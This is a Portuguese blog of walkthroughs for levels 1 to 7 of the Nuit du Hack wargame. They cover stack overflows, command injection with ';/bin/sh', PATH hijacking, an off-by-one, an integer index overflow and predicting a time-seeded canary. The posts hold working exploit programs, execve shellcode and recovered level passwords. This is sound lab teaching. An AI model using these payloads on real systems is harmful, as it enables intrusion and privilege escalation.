m0nad's Blog

Just another WordPress.com site

Nuit du Hack Level7 – Pseudo-random canary

with one comment

Ae pessoal, mais um level do nuit du hack.

Como de costume vou começar olhando o source.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level7 level7.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

unsigned int secret;

int vuln(char *arg) {
 unsigned int cookie = secret;
 char tmp[64] = {'\0'};

 strcpy(tmp, arg);
 if(cookie!=secret) {
  printf("It's not my cookie :(\n");
  exit(0);
 }

 return 1337;
}

int main(int argc, char *argv[])
{
 if(argc != 2) {
  printf("%s <P0wn Me!> \n", argv[0]);
  exit(0);
 }

 srand(time(NULL));
 secret = rand();

 printf("GooD Boy 🙂 %08X\n", secret);

 vuln(argv[1]);
 return 0;
}

Temos um cookie(canary) na função vuln, quando fazemos o overflow no buffer tmp, alteramos a variável cookie, e essa variável verificada antes do return e caso esteja diferente do valor original o programa é finalizado, impedindo a exploração pois a instrução ret não ira dar o jmp para o nosso endereço.

A ideia aqui é tentar gerar o mesmo cookie e coloca-lo exatamente na posição aonde o mesmo está na stack, vemos que ele gera o cookie usando a funcao rand e usando o seed como o time, só precisamos gerar o mesmo seed, ou seja no executar no mesmo segundo, vamos tentar gerar o mesmo cookie.


$ cat > /tmp/poc1_lvl7.c
#include <unistd.h>
#include <string.h>
#include <stdio.h>

#define PATH "/home/level7/level7"
#define NAME "level7"
#define BUF 64

int
main()
{
 char arg[BUF];
 char * args[] = { NAME, arg, NULL } ;
 int cookie;

 memset(arg, 'A', BUF);

 srand(time(NULL));
 cookie = rand();

 printf("cookie %x\n", cookie);

 execve(PATH, args, NULL);

 return 0;
}
^C
$ gcc -o /tmp/poc1_lvl7 /tmp/poc1_lvl7.c
$ /tmp/poc1_lvl7
cookie 6bedffd0
GooD Boy 🙂 6BEDFFD0
$

Funciona! podemos gerar o mesmo cookie, agora basta basta colocar o cookie na posição logo acima do buffer tmp, que é 64 bytes, e depois o eip para o shellcode, que com um pouco de debug achei a 80 bytes apos o começo do buffer tmp, vamos usar execle para controlarmos o ambiente, colocando o shellcode no enviroment, e calculando sua posição a partir do 0xbffffffa. Segue abaixo o exploit.


$ cat > /tmp/xpl.c
#include <unistd.h>
#include <string.h>
#include <stdio.h>

#define PATH "/home/level7/level7"
#define NAME "level7"
#define BUF 85
#define EIP_OFFSET 80
#define COOKIE_OFFSET 64

int
main()
{
 char arg[BUF];
 char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80";
 void * env[] = { sc, NULL } ;
 int cookie, addr = 0xbffffffa - strlen(PATH) - strlen(sc);

 memset(arg, 'A', BUF);

 srand(time(NULL));
 cookie = rand();

 *(int *)(arg + COOKIE_OFFSET) = cookie;
 *(int *)(arg + EIP_OFFSET) = addr;

 printf("arg %s\n", arg);
 printf("cookie %x\n", *(int *)(arg + COOKIE_OFFSET));
 printf("eip %x\n", addr);

 execle(PATH, NAME, arg, NULL, env);

 return 0;
}
^C
$ gcc -o /tmp/xpl /tmp/xpl.c
$ /tmp/xpl
arg AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAԀ�*AAAAAAAAAAAA����AԀ�*����P�
cookie 2a8480d4
eip bfffffce
GooD Boy 🙂 2A8480D4
$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1008(level8),1007(level7)
$ cat /home/level8/passwd
sgfc.g
$

Yahuu! até a próxima 😀

Anúncios

Written by m0nad

dezembro 29, 2011 at 12:52 am

Publicado em Assembly, C, Segurança, Wargames

Nuit du Hack Level6 – Off-by-one error

with one comment

E ai galera, vamos mais uma solução do nuit du hack wargame, agora no level 6.

Vamos ler o code.


#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// gcc -o level6 level6.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int layer(char *arg){
 if(strlen(arg)>128) {
  printf("Aww noes you'r crazy !\n");
  exit(0);
 }
 char buf[128];
 strcpy(buf, arg);
 return 0;
}

int main(int argc, char *argv[])
{
 if(!argv[1]) return;

 layer(argv[1]);
 return 0;
}

Temos na função layer uma verificação para impedir que se coloque acima de 128 no argumento, acontece que o buffer tem 128 bytes, e iso não deixa espaço para o nullbyte, causando um off-by-one error, o strcpr irá sobrescrever o byte menos significativo do ebp-salvo na pilha com o nullbyte, e após uma sequencia de dois leaves(mov $ebp,$esp | pop $ebp) | ret, o esp poderá estar apontando para uma parte do buffer que controlamos no momento da instrução ret e assim ter controle do eip, vamos tentar.


(gdb) r $(perl -e 'print "\xaa" x 128')
Starting program: /home/level6/level6 $(perl -e 'print "\xaa" x 128')

Program received signal SIGSEGV, Segmentation fault.
0xaaaaaaaa in ?? ()
(gdb)

Sucesso! Temos o controle do eip, vamos ver se colocamos um valor especifico e não um monte de 0xaa.


(gdb) r $(perl -e 'print "\xdd\xcc\xbb\xaa" x 32')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level6/level6 $(perl -e 'print "\xdd\xcc\xbb\xaa" x 32')

Program received signal SIGSEGV, Segmentation fault.
0xaabbccdd in ?? ()
(gdb)

Facil, basta agora colocar o shellcode numa variavel de ambiente e setar o eip para la 😉


$ export SC=$(perl -e 'print "\x90" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"')
$ /tmp/getenv SC
0xbfffffc2
$ ./level6 $(perl -e 'print "\xc2\xff\xff\xbf" x 32')
$ id
uid=1006(level6) gid=1006(level6) euid=1007(level7) groups=1007(level7),1006(level6)
$ cat /home/level7/passwd
qsf076
$

Done! 😀

Written by m0nad

dezembro 28, 2011 at 11:41 pm

Publicado em C, Segurança, Wargames

Nuit du Hack Level5 – Integer Array Overflow

with 2 comments

Ola pessoal, mais um nivel do ndh, vamos ao source.


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// gcc -o level5 level5.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

void setArray(int frame, int value) {
 int array[32];

 array[frame] = value;
 printf("fill case %d with %d.\n", frame, value);
 return;
}

int main(int argc, char **argv) {
 if (argc != 3)
 printf("syntax: %s [slot] [val]\n", argv[0]);
 else
 setArray(atoi(argv[1]), atoi(argv[2]));
 exit(0);
}

Temos um integer array overflow, podemos controlar o índice do vetor, e assim colocar na posição do eip-salvo, e sobrescrevemos com o que quisermos, vamos tentar no gdb.


(gdb) r 33 $(perl -e 'print 0x11223344')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level5/level5 33 $(perl -e 'print 0x11223344')
fill case 33 with 287454020.

Program received signal SIGSEGV, Segmentation fault.
0x11223344 in ?? ()
(gdb)

Sucesso! temos controle do eip, vamos colocar o shellcode numa variável de ambiente e setar o eip para esse endereço.


level5@wargame2k10:~$ export SC=$(perl -e 'print "\x90" x 200 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"')

Vamos ver o seu endereço na memoria.


level5@wargame2k10:~$ cat > /tmp/getenv.c
#include <stdlib.h>
#include <stdio.h>
int
main(int argc, char ** argv)
{
 if (argc < 2)
  return 1;
 printf ("%p\n", (unsigned int *)getenv(argv[1]));
 return 0;
}
^C
level5@wargame2k10:~$ gcc -o /tmp/getenv /tmp/getenv.c
level5@wargame2k10:~$ /tmp/getenv SC
0xbffffeaa
level5@wargame2k10:~$

Ok, o shellcode esta em 0xbffffeaa, vamos tentar explorar.


(gdb) r 33 $(perl -e 'print 0xbffffeaa')
Starting program: /home/level5/level5 33 $(perl -e 'print 0xbffffeaa')
fill case 33 with -1073742165.

Program received signal SIGSEGV, Segmentation fault.
0x7fffffff in ?? ()
(gdb)

Não deu certo, o motivo é o valor máximo de um int, vamos inverter os bits e colocar em negativo 🙂


(gdb) r 33 -$(perl -e 'print ~0xbffffeaa')
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
 Starting program: /home/level5/level5 33 -$(perl -e 'print ~0xbffffeaa')
 fill case 33 with -1073742165.
 Executing new program: /bin/dash
 $

Shell! 😀 vamos executar fora do gdb para termos os privilegios.


level5@wargame2k10:~$ ./level5 33 -$(perl -e 'print ~0xbffffeaa')
 fill case 33 with -1073742165.
$ id
 uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1006(level6),1005(level5)
$ cat /home/level6/passwd
(Uhf(d
$

Next! 🙂

Written by m0nad

dezembro 27, 2011 at 2:53 am

Publicado em C, Segurança, Wargames

Nuit du Hack Level4 – Stack-based Buffer Overflow

leave a comment »

Mais um level do nuit du hack, vamos ler o source.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level4 level4.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int checkIdent(char *login, char *pwd)
{
 char buffer[8] = {'\0'};
 int i;

 strcpy(buffer, login);
 buffer[strlen("guest1")] = '\0';

 if(strcmp(buffer, "guest1"))
  return 0;

 strcpy(buffer, pwd);
 buffer[strlen("guest1")] = '\0';

 if(strcmp(buffer, "guest1"))
  return 0;

 return 1;
}

int main(int argc, char *argv[])
{
 if(argc != 3) {
  printf("%s <login> <pass>\n", argv[0]);
  exit(-1);
 }

 if(checkIdent(argv[1], argv[2])) {
  printf("Logged :)\n");
  exit(1);
 }

 printf("Oh noes\n");
 return 0;
}

Vemos 2 strcpy, parece que são overflows simples, vamos abrir no gdb e tentar um segfault.


(gdb) r $(perl -e 'print "\xaa" x 20') $(perl -e 'print "\xbb" x 20')
Starting program: /home/level4/level4 $(perl -e 'print "\xaa" x 20') $(perl -e 'print "\xbb" x 20')

Program received signal SIGSEGV, Segmentation fault.
0xaaaaaaaa in ?? ()

(gdb) r $(perl -e 'print "\xaa" x 16 . "\xcc" x 4') $(perl -e 'print "\xbb" x 20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 $(perl -e 'print "\xaa" x 16 . "\xcc" x 4') $(perl -e 'print "\xbb" x 20')

Program received signal SIGSEGV, Segmentation fault.
0xcccccccc in ?? ()
(gdb)

Legal, controlamos o eip, vamos colocar o shellcode e achar o endereço para pular.


(gdb) r $(perl -e 'print "\xaa" x 16 . "\xcc" x 4 . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20')The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 $(perl -e 'print "\xaa" x 16 . "\xcc" x 4 . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20')

Program received signal SIGSEGV, Segmentation fault.
0xcccccccc in ?? ()
(gdb) x/100x $esp
0xbffff4c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff4f0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff500: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff510: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff520: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff530: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff540: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff550: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff560: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff570: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff580: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff590: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5f0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff600: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff610: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff620: 0x90909090 0x90909090 0x90909090 0x90909090
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb)

Podemos ver os nops, vamos colocar o eip para bffff4f0 e ver se temos sucesso.

(gdb) r $(perl -e 'print "\xaa" x 16 . "\xf0\xf4\xff\xbf" . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level4/level4 $(perl -e 'print "\xaa" x 16 . "\xf0\xf4\xff\xbf" . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20')
Executing new program: /bin/dash
$

Yahuu, uma shell! Vamos executar fora do gdb para elevarmos os privilegios.


$ /home/level4/level4 $(perl -e 'print "\xaa" x 16 . "\xf0\xf4\xff\xbf" . "\x90" x 2000 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"') $(perl -e 'print "\xbb" x 20')
$ id
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1005(level5),1004(level4)
$ cat /home/level5/passwd
fdk45!
$

Problem solved 🙂

Written by m0nad

dezembro 27, 2011 at 2:42 am

Publicado em Assembly, C, Segurança, Wargames

Nuit du Hack Level3 – Crackme

leave a comment »

Estou aqui  com mais um level do ndh wargame.

Bem, esse não temos source, é um crackme, vamos executa-lo para ver seu output.


$ ./crackme
Usage: ./crackme <key>

De cara dei um strings no binário.

$ strings crackme
/lib/ld-linux.so.2
*W)S
__gmon_start__
libc.so.6
_IO_stdin_used
exit
srand
puts
printf
strlen
setresuid
system
geteuid
strcmp
__libc_start_main
GLIBC_2.0
PTRhp
[^_]
Usage: %s <key>
The key must have a size of 20 bytes like: XXXXXXXXXXXXXXXXXXXX
You entered: %s
Ciphered: %s
We want: %s
2:8vytm&*9|)].l(ol;a
Good Job!
sleep 1; cat /home/level4/passwd;
It's incorrect n00b!
$

Hmm…podemos ver as funções utilizadas, e abaixo as strings usadas, e tem uma bem suspeita para ser uma senha, vamos tenta-la.


$ ./crackme '2:8vytm&*9|)].l(ol;a'
You entered: 2:8vytm&*9|)].l(ol;a
Ciphered: [OU>are\C^tRuE]?357|
We want: 2:8vytm&*9|)].l(ol;a
It's incorrect n00b!
$

Ah fail xD, bem, ele cifra o imput para obter o resultado, mas eu li, e achei suspeito, parece que esta escrito ‘you are a true leet?’, bem, seguindo o padrão, tentei essa senha.


$ ./crackme 'YOU>are\a^tRuE]1337?'
You entered: YOU>are\a^tRuE]1337?
Ciphered: 2:8vytm&*9|)].n(ol;&
We want: 2:8vytm&*9|)].l(ol;a
It's incorrect n00b!
$

w00w00! muito perto, faltou apenas 2 caracteres, o ‘]’ virou ‘n’, e deveria ser um ‘l’, o ‘?’ virou um ‘&’ e deveria ser um ‘a’, bem com um brute force de 2 loopings podemos resolver ;), mas olhando a tabela ascii podemos ver que do ‘]’ para o ‘n’, há a diferença de 17, bem, a mesma relação com o caractere ‘a’ e temos ‘[‘, ok, fazendo o mesmo com o ultimo char, temos o caractere ‘z’, vamos testar.


$ ./crackme 'YOU>are\a^tRuE[1337z'
You entered: YOU>are\a^tRuE[1337z
Ciphered: 2:8vytm&*9|)].l(ol;a
We want: 2:8vytm&*9|)].l(ol;a
Good Job!
lsqfd4
$

Até a próxima 😀

Written by m0nad

dezembro 25, 2011 at 10:12 pm

Publicado em Segurança, Wargames

Nuit du Hack Level2 – Relative PATH / Command Injection

leave a comment »

E ai pessoal, estou aqui para mostrar a solução do level2 do ndh wargame 🙂

Vamo começar lendo o código fonte.


level2@wargame2k10:~$ cat level2.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
 char *buffer = malloc(sizeof(char)*(strlen("man ")+strlen(argv[1])+1));

 if(argc<2 || strlen(argv[1])>50) {
  printf("Manpage <argument>\n");
  exit(0);
 }

 strcpy(buffer, "man ");
 strcat(buffer, argv[1]);

 system(buffer);
 return 0;
}
level2@wargame2k10:~$

Hmm, mau uso da função system, neste caso são 2 problemas, uma é que ele utiliza o path relativo, ou seja se baseia na variável PATH para  encontrar o executável, mas outra exploração possível é injetar um ‘;/bin/sh’ e assim executar a shell, demonstrarei as 2 técnicas.

Primeiro a falha do path relativo, vamos ver o conteúdo da variavel PATH.


level2@wargame2k10:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
level2@wargame2k10:~$

Certo, vamos criar o nosso ‘man’ falso.

level2@wargame2k10:~$ cat > /tmp/man.c
#include <stdlib.h>
int
main()
{
 system("/bin/sh");
 return 0;
}
^C
level2@wargame2k10:~$ gcc -o /tmp/man /tmp/man.c

Vamos alterar a variavel PATH para /tmp.


level2@wargame2k10:~$ PATH=/tmp

Vamos executar o binário vulnerável para pegarmos a shell.


level2@wargame2k10:~$ ./level2 -p
$

Antes de executar qualquer comando vamos restaurar a variável PATH.

$ PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Vamos verificar se conseguimos os privilégios


$ id
uid=1002(level2) gid=1002(level2) euid=1003(level3) groupes=1003(level3),1002(level2)
$ cat /home/level3/passwd
dsglhn
$

Funciona 😀

Mas essa é uma técnica trabalhosa, vamos a segunda 🙂


level2@wargame2k10:~$ ./level2 ';/bin/sh'
Quelle page de manuel voulez-vous ?
$ id
uid=1002(level2) gid=1002(level2) euid=1003(level3) groupes=1003(level3),1002(level2)
$ cat /home/level3/passwd
dsglhn
$

Resolvido 🙂

Written by m0nad

dezembro 25, 2011 at 10:55 am

Publicado em C, Segurança, Wargames

Nuit du Hack Level1 – Stack-based Buffer Overflow

leave a comment »

Ola pessoal, estava googlando e econtrei esse wargame, nuit du hack ou ndh, achei bem divertido 🙂 não deixem de conferir.

O level01 é bem simples,vamos ver o código.


$ cat level1.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void dummy()
{
 setresuid(geteuid(),geteuid(),geteuid());
 system("sleep 1; cat /home/level2/passwd;");
 exit(0);
}

int *p;
void func(char *arg)
{
 char buf[16];
 p = (int *)&buf[sizeof(buf)];

 printf("dummy() is at: 0x%08x\n", dummy);
 printf("before: SEBP=%p\n\t SEIP=0x%08x\n", *p, *(p+1));
 strcpy(buf, arg);
 printf("after: SEBP=%p\n\t SEIP=0x%08x\n", *p, *(p+1));

}
int main(int argc, char *argv[])
{
 if(!argv[1]) {
 printf("No command found...\n");
 return;
 }
 func(argv[1]);
}

Hmm, temos um stack-based buffer overflow, e vemos a função dummy(), que lê o passwd do próximo level.
Para passarmos de level vamos sobrescrever o eip para apontar para dummy() e assim termos a senha, mas primeiro vamos tentar sobrescrever o eip.

$ gdb level1 -q
(gdb) r $(perl -e 'print "\xaa" x 32')
Starting program: /home/level1/level1 $(perl -e 'print "\xaa" x 32')
 dummy() is at: 0x08048504
 before: SEBP=0xbffffcb8
 SEIP=0x080485fd
 after: SEBP=0xaaaaaaaa
 SEIP=0xaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0xaaaaaaaa in ?? ()

Sucesso, podemos ver que temos controle do eip, após algumas tentativas, achei a quantidade exata de bytes.


(gdb) r $(perl -e 'print "\xaa" x 20 . "\xbb" x 4')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level1/level1 $(perl -e 'print "\xaa" x 20 . "\xbb" x 4')
 dummy() is at: 0x08048504
 before: SEBP=0xbffffcb8
 SEIP=0x080485fd
 after: SEBP=0xaaaaaaaa
 SEIP=0xbbbbbbbb

Program received signal SIGSEGV, Segmentation fault.
0xbbbbbbbb in ?? ()
(gdb)

Yahuu, agora é só colocar o endereço de dummy()


$ ./level1 $(perl -e 'print "\xaa" x 20 . "\x04\x85\x04\x08"')
 dummy() is at: 0x08048504
 before: SEBP=0xbffffcf8
 SEIP=0x080485fd
 after: SEBP=0xaaaaaaaa
 SEIP=0x08048504
kjdsfh
$

Sucesso! podemos ver a senha para o level02 🙂

Written by m0nad

dezembro 25, 2011 at 10:51 am

Publicado em C, Segurança, Wargames